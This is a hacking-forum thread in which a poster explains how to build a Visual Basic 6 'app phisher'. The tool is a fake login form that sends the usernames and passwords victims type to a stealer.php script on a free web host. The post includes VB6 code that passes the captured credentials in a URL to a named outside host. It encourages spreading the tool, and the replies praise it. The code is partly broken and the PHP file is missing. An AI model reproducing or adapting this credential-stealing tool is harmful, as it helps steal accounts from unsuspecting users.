[How to][VB6] Create your own App. Phisher.

[uberhak3r]

Alright for either method your going to need SOME programming experience, mostly in design.
You will also need VB6 or a c++ complier for the other method.

Lets get started anyways;

Here's the layout of VB6 and my simple app phisher.

And heres the code:

Dim HTML As String

Private Sub Command1_Click()
HTML = ""
HTML = ("put the login for what site ur useing here")
If InStr(HTML, "You are logged in as") Then
MsgBox ("Account Valid")
Inet1.OpenURL ("ur url to your uploaded stealer.php make sue you enter in varibles")
YOURFAKEFORM.Show
Else
MsgBox ("Invalid username/password combo.")
End If
End Sub

Private Sub Text1_click()
Text1.Text = ""
End Sub
Private Sub Text2_click()
Text2.Text = ""
End Sub
Private Sub Text3_click()
Text3.Text = ""
End Sub

Small and pretty simple.

Your also going to need a free host with a php file.

heres the php file to upload:

If you want more secure logs change $file = "somethingelse.txt";

Alright so get a free host and upload the php file, get the link to it.

For the VB6 code just edit in what needs to be edited in, the if statement is an account checker from awhile ago doubt if it still works so remove if you want to or make a updated one.

Inet1.OpenURL ("ur url to your uploaded stealer.php make sure you enter in varibles")

Alright this is where you paste the url and add this to the end.

yoururlhere.com/stealer.php?&username=" & text1.text & "&password=" & text2.text

So your finshed vb6 code:

Dim HTML As String

Private Sub Command1_Click()
MsgBox ("Account Valid")
Inet1.OpenURL ("rawrzords.agilityhoster.com/php.php?&username=" & user1 & "&password=" & pass1")
form2.Show
MsgBox ("Invalid username/password combo.")
End Sub

Private Sub Text1_click()
Text1.Text = ""
End Sub
Private Sub Text2_click()
Text2.Text = ""
End Sub
Private Sub Text3_click()
Text3.Text = ""
End Sub

Then go file make program and your good.

If you really have troubles, design me a form and ill make one for rep.

extremly simple but works

Dim user1 As String
Dim pass1 As String

Private Sub Command1_Click()
user1 = user.Text
pass1 = pass.Text
Inet.Execute "rawrzords.agilityhoster.com/php.php?&username=" & user1 & "&password=" & pass1
MsgBox "ty"
End Sub

[pankaka]

Im glad that you posted a nice tut, but people usually prefer ''Easy-to-use'' thingy.
T.ex as always change the email and pass on the client and post it on youtube!

Put i'll give you a rep+

[polu]

nice one... well done